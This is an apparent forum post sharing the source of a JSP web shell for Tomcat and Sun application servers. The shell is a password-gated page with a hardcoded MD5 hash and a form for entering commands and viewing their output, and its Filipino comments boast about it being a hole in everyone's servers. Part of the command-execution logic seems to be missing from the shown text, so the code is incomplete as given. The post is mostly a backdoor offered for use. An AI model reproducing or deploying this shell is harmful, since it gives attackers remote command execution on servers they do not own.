JSP-shell Reply with quote Tested on tomcat 5.x and sun application 9.x Based on PHP-shell cat<index.jsp <% /* CREATED BY: K???N * * ASA KA PA!!! ITO AY BUTAS SA INYONG LAHAT!!! * SIGAW KE S???H, J????E, J??E * WAG NA SAWSAW * Kinopyapakaliwa sa taong milyo nubentos siete * (year 2007 tanga) */ %> <%@page contentType="text/html"%> <%@page pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.io.File.*"%> <%@page import="java.security.MessageDigest"%> Test Page

JSP BUTAS

<% String ServeName = request.getRequestURI(); String IsAuth = (String) session.getAttribute("isauth"); if (session.isNew()) { %>
Authentication

Password:

<% return; } else { if ((IsAuth == null)) { String pass = request.getParameter("pass"); MessageDigest mdAlgorithm = MessageDigest.getInstance("MD5"); mdAlgorithm.update(pass.getBytes()); byte[] digest = mdAlgorithm.digest(); StringBuffer hexString = new StringBuffer(); for (int i = 0; i < digest.length; i++) { pass = Integer.toHexString(0xFF & digest[i]); if (pass.length() < 2) { pass = "0" + pass; } hexString.append(pass); } if (!(hexString.toString().equalsIgnoreCase("5e92e374a5144a93f529b5b4fa599273"))) { %> MUKHA MO!!! <% session.invalidate(); return; } else { session.setAttribute("isauth", "true"); } } else if (IsAuth.equals("true")) { } else { session.invalidate(); return; } } %>
Input

Command:

<% /*

Enable stderr-trapping?

*/ %>
Output

EOF _________________ ]b-p